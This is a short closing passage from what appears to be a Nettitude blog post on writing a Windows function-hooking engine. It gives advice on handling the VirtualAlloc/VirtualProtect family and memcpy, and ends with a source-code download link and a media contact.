  • VirtualAlloc, VirtualFree, VirtualProtect and VirtualQuery API calls as well as the memcpy API call will most likely be used internally by any hooking engine. If these are to be hooked by the user, then it may be necessary to make a copy of these functions in memory, or have special handling code for these if the user attempts to hook them.  The memcpy function can usually be replaced by a compiler intrinsic such as __movsb.

Click here to download the Function Hooking source code.


To contact Nettitude’s editor, please email media@nettitude.com.